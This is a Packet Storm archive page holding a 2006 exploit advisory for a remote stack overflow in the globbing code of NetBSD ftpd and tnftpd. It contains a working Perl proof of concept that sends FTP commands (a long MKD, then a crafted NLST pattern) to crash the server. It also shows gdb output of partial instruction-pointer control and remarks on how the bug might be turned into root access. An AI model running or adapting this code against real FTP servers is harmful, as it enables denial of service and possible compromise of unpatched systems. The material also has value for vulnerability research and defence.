what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tnftpd.txt

tnftpd.txt
Posted Dec 6, 2006
Authored by Kingcope

The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun, which can lead to a root compromise. The bug is in glob.c file.

tags | exploit, remote, overflow, root
systems | netbsd
SHA-256 | 6f91ab16ee6d396173a45820d89bcfd6ed6fcfb8449312205c4ce215b6caec78

tnftpd.txt

Change Mirror Download
LAMERZ!!!!!
KEEP ON HACKING!!! KEEP THAT *FUCK*ING PRIVATE!!!

Greetings to the elite guys, thank you for your time.

signed,
***eliteboy***

$$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$

About

tnftpd is a port of the NetBSD FTP server to other systems.
It offers many enhancements over the traditional BSD ftpd,
including per-class configuration directives via ftpd.conf(5),
RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
transfer rate throttling, and more.
tnftpd was formerly known as lukemftpd,
and earlier versions are present in Mac OS X 10.2 (as ftpd)
and FreeBSD 5.0 (as lukemftpd).

Description

The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
which can lead to a root compromise.

The bug is in glob.c file. The globbing mechanism is flawed as back in
2001.

To trigger the overflow you can create a folder and use the globbing
special characters (like STARS) to overflow an internal stack based buffer.
Example PoC:
---snip---
use IO::Socket;

$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
PeerPort => '21',
Proto => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;

print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = <stdin>;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";

while (<$sock>) {
print;
}
---snip---

gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00410041 in ?? ()
(gdb)




tnftpd-20040810 behaves similar.
FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
however they could have the same bug, because of the same
codebase.

The problem when exploiting this kind of bug is,
that we can only control 0x00410041, not the whole
32 bit. However it looks feasible to find a way
to do a hole EIP redirection and/or exploit
the bug the "unicode" way, which could be especially
hard on BSD systems.

--
Der GMX SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen!
Ideal für Modem und ISDN: http://www.gmx.net/de/go/smartsurfer

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close